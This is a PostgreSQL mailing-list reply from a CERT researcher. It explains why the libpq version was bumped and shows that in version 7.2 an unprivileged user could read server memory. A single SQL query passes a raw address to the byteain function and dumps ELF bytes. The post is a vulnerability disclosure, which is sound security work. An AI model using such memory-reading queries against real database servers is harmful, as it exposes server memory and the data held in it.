Re: why was libpq.so's version number bumped?

Bruce Momjian <pgman@candle.pha.pa.us> writes:

>> Hmm?  On 7.2, an unpriviliged database user can read the more or less
>> the whole memory image of the server process.  On 7.3, this has been
>> fixed.
>
> Huh.  Never heard that before.

It's the cash_out(2) crash, but with some other conversion function:

rusfw=> SELECT byteain(134512640);      byteain       
---------------------\177ELF\001\001\001
(1 row)

rusfw=> 

(Of course, the address varies from machine to machine.)

-- 
Florian Weimer                       Weimer@CERT.Uni-Stuttgart.DE
University of Stuttgart           http://CERT.Uni-Stuttgart.DE/people/fw/
RUS-CERT                          fax +49-711-685-5898